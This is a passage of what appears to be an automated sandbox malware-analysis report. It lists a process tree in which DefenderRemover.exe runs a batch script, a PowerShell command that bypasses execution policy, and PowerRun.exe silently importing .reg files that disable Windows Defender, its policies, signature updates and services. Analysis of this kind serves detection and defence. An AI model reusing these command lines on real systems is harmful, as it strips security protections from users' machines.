                                                                              • C:\Windows\System32\reg.exe
                                                                                C:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord /v "URL Protocol" /f
                                                                                5⤵
                                                                                • Modifies registry class
                                                                                • Modifies registry key
                                                                                PID:2964
                                                                              • C:\Windows\System32\reg.exe
                                                                                C:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord\DefaultIcon /ve /d "\"C:\Users\Admin\AppData\Local\Discord\app-1.0.9155\Discord.exe\",-1" /f
                                                                                5⤵
                                                                                • Modifies registry class
                                                                                • Modifies registry key
                                                                                PID:4144
                                                                              • C:\Windows\System32\reg.exe
                                                                                C:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord\shell\open\command /ve /d "\"C:\Users\Admin\AppData\Local\Discord\app-1.0.9155\Discord.exe\" --url -- \"%1\"" /f
                                                                                5⤵
                                                                                • Modifies registry class
                                                                                • Modifies registry key
                                                                                PID:2984
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4592 /prefetch:1
                                                                          2⤵
                                                                            PID:2272
                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7708 /prefetch:1
                                                                            2⤵
                                                                              PID:4016
                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7916 /prefetch:1
                                                                              2⤵
                                                                                PID:1952
                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=55 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7704 /prefetch:1
                                                                                2⤵
                                                                                  PID:4620
                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=7236 /prefetch:8
                                                                                  2⤵
                                                                                    PID:484
                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7824 /prefetch:8
                                                                                    2⤵
                                                                                    • Subvert Trust Controls: Mark-of-the-Web Bypass
                                                                                    • NTFS ADS
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    PID:4132
                                                                                  • C:\Users\Admin\Downloads\DefenderRemover.exe
                                                                                    "C:\Users\Admin\Downloads\DefenderRemover.exe"
                                                                                    2⤵
                                                                                    • Executes dropped EXE
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    PID:2628
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c .\Script_Run.bat
                                                                                      3⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:1504
                                                                                      • C:\Windows\SysWOW64\choice.exe
                                                                                        choice /C:yas /N
                                                                                        4⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:2040
                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                        PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& {Start-Process PowerShell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -File ""RemoveSecHealthApp.ps1""' -Verb RunAs}"
                                                                                        4⤵
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:1988
                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -File "RemoveSecHealthApp.ps1
                                                                                          5⤵
                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                          • Drops file in Windows directory
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:724
                                                                                          • C:\Users\Admin\AppData\Local\Temp\3C5900EB-1E21-4393-B66A-5451FAB8171D\dismhost.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\3C5900EB-1E21-4393-B66A-5451FAB8171D\dismhost.exe {F1B76054-BA1A-403C-9398-F7CEA4669992}
                                                                                            6⤵
                                                                                            • Executes dropped EXE
                                                                                            • Loads dropped DLL
                                                                                            • Drops file in Windows directory
                                                                                            PID:2748
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                        PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\DisableAntivirusProtection.reg"
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:1884
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\DisableAntivirusProtection.reg"
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:4700
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\DisableAntivirusProtection.reg"
                                                                                            6⤵
                                                                                            • Executes dropped EXE
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:4852
                                                                                            • C:\Windows\regedit.exe
                                                                                              "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\DisableAntivirusProtection.reg"
                                                                                              7⤵
                                                                                              • Modifies Windows Defender Real-time Protection settings
                                                                                              • Runs .reg file with regedit
                                                                                              PID:892
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                        PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\DisableDefenderandSecurityCenterNotifications.reg"
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:2424
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\DisableDefenderandSecurityCenterNotifications.reg"
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:1568
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\DisableDefenderandSecurityCenterNotifications.reg"
                                                                                            6⤵
                                                                                            • Executes dropped EXE
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:3640
                                                                                            • C:\Windows\regedit.exe
                                                                                              "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\DisableDefenderandSecurityCenterNotifications.reg"
                                                                                              7⤵
                                                                                              • Windows security bypass
                                                                                              • Modifies data under HKEY_USERS
                                                                                              • Runs .reg file with regedit
                                                                                              PID:2040
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                        PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\DisableDefenderPolicies.reg"
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:4604
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\DisableDefenderPolicies.reg"
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:2080
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\DisableDefenderPolicies.reg"
                                                                                            6⤵
                                                                                            • Executes dropped EXE
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:892
                                                                                            • C:\Windows\regedit.exe
                                                                                              "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\DisableDefenderPolicies.reg"
                                                                                              7⤵
                                                                                              • Modifies Windows Defender Real-time Protection settings
                                                                                              • Runs .reg file with regedit
                                                                                              PID:552
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                        PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\NomoreDelayandTimeouts.reg"
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:1552
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\NomoreDelayandTimeouts.reg"
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:3440
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\NomoreDelayandTimeouts.reg"
                                                                                            6⤵
                                                                                            • Executes dropped EXE
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:1652
                                                                                            • C:\Windows\regedit.exe
                                                                                              "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\NomoreDelayandTimeouts.reg"
                                                                                              7⤵
                                                                                              • Modifies data under HKEY_USERS
                                                                                              • Runs .reg file with regedit
                                                                                              PID:5144
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                        PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemovalofWindowsDefenderAntivirus.reg"
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:1568
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemovalofWindowsDefenderAntivirus.reg"
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:412
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemovalofWindowsDefenderAntivirus.reg"
                                                                                            6⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:5160
                                                                                            • C:\Windows\regedit.exe
                                                                                              "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemovalofWindowsDefenderAntivirus.reg"
                                                                                              7⤵
                                                                                              • Runs .reg file with regedit
                                                                                              PID:5756
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                        PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveDefenderTasks.reg"
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:5048
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveDefenderTasks.reg"
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:5168
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveDefenderTasks.reg"
                                                                                            6⤵
                                                                                            • Executes dropped EXE
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:5784
                                                                                            • C:\Windows\regedit.exe
                                                                                              "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveDefenderTasks.reg"
                                                                                              7⤵
                                                                                              • Runs .reg file with regedit
                                                                                              PID:6112
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                        PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoverofDefenderContextMenu.reg"
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:5300
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoverofDefenderContextMenu.reg"
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:5804
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoverofDefenderContextMenu.reg"
                                                                                            6⤵
                                                                                            • Executes dropped EXE
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:1988
                                                                                            • C:\Windows\regedit.exe
                                                                                              "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoverofDefenderContextMenu.reg"
                                                                                              7⤵
                                                                                              • Runs .reg file with regedit
                                                                                              PID:5252
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                        PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveServices.reg"
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:5912
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveServices.reg"
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:6128
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveServices.reg"
                                                                                            6⤵
                                                                                            • Executes dropped EXE
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:5236
                                                                                            • C:\Windows\regedit.exe
                                                                                              "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveServices.reg"
                                                                                              7⤵
                                                                                              • Runs .reg file with regedit
                                                                                              PID:5568
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                        PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveShellAssociation.reg"
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:1888
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveShellAssociation.reg"
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:5224
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveShellAssociation.reg"
                                                                                            6⤵
                                                                                            • Executes dropped EXE
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:5576
                                                                                            • C:\Windows\regedit.exe
                                                                                              "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveShellAssociation.reg"
                                                                                              7⤵
                                                                                              • Modifies firewall policy service
                                                                                              • Modifies registry class
                                                                                              • Runs .reg file with regedit
                                                                                              PID:5892
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                        PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveSignatureUpdates.reg"
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:5592
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveSignatureUpdates.reg"
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:3304
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveSignatureUpdates.reg"
                                                                                            6⤵
                                                                                            • Executes dropped EXE
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:5980
                                                                                            • C:\Windows\regedit.exe
                                                                                              "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveSignatureUpdates.reg"
                                                                                              7⤵
                                                                                              • Runs .reg file with regedit
                                                                                              PID:5168
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                        PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveStartupEntries.reg"
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:5724
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveStartupEntries.reg"
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:5920
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveStartupEntries.reg"
                                                                                            6⤵
                                                                                            • Executes dropped EXE
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:5916
                                                                                            • C:\Windows\regedit.exe
                                                                                              "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveStartupEntries.reg"
                                                                                              7⤵
                                                                                              • Runs .reg file with regedit
                                                                                              PID:2652
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                        PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveWindowsWebThreat.reg"
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:6020
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveWindowsWebThreat.reg"
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:3840
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveWindowsWebThreat.reg"
                                                                                            6⤵
                                                                                            • Executes dropped EXE
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:1888
                                                                                            • C:\Windows\regedit.exe
                                                                                              "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveWindowsWebThreat.reg"
                                                                                              7⤵
                                                                                              • Modifies registry class
                                                                                              • Runs .reg file with regedit
                                                                                              PID:5540
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                        PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\WindowsSettingsPageVisibility.reg"
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:5132
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\WindowsSettingsPageVisibility.reg"
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:6132
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\WindowsSettingsPageVisibility.reg"
                                                                                            6⤵
                                                                                            • Executes dropped EXE
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:5276
                                                                                            • C:\Windows\regedit.exe
                                                                                              "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\WindowsSettingsPageVisibility.reg"
                                                                                              7⤵
                                                                                              • Runs .reg file with regedit
                                                                                              PID:5192
                                                                                      • C:\Windows\SysWOW64\regedit.exe
                                                                                        regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\DisableAntivirusProtection.reg"
                                                                                        4⤵
                                                                                        • Modifies Windows Defender Real-time Protection settings
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        • Runs .reg file with regedit
                                                                                        PID:5468
                                                                                      • C:\Windows\SysWOW64\regedit.exe
                                                                                        regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\DisableDefenderandSecurityCenterNotifications.reg"
                                                                                        4⤵
                                                                                        • Windows security bypass
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        • Runs .reg file with regedit
                                                                                        PID:5508
                                                                                      • C:\Windows\SysWOW64\regedit.exe
                                                                                        regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\DisableDefenderPolicies.reg"
                                                                                        4⤵
                                                                                        • Modifies Windows Defender Real-time Protection settings
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        • Runs .reg file with regedit
                                                                                        PID:5552
                                                                                      • C:\Windows\SysWOW64\regedit.exe
                                                                                        regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\NomoreDelayandTimeouts.reg"
                                                                                        4⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        • Runs .reg file with regedit
                                                                                        PID:5556
                                                                                      • C:\Windows\SysWOW64\regedit.exe
                                                                                        regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemovalofWindowsDefenderAntivirus.reg"
                                                                                        4⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        • Runs .reg file with regedit
                                                                                        PID:5676
                                                                                      • C:\Windows\SysWOW64\regedit.exe
                                                                                        regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveDefenderTasks.reg"
                                                                                        4⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        • Runs .reg file with regedit
                                                                                        PID:724
                                                                                      • C:\Windows\SysWOW64\regedit.exe
                                                                                        regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoverofDefenderContextMenu.reg"
                                                                                        4⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        • Runs .reg file with regedit
                                                                                        PID:5760
                                                                                      • C:\Windows\SysWOW64\regedit.exe
                                                                                        regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveServices.reg"
                                                                                        4⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        • Runs .reg file with regedit
                                                                                        PID:5748
                                                                                      • C:\Windows\SysWOW64\regedit.exe
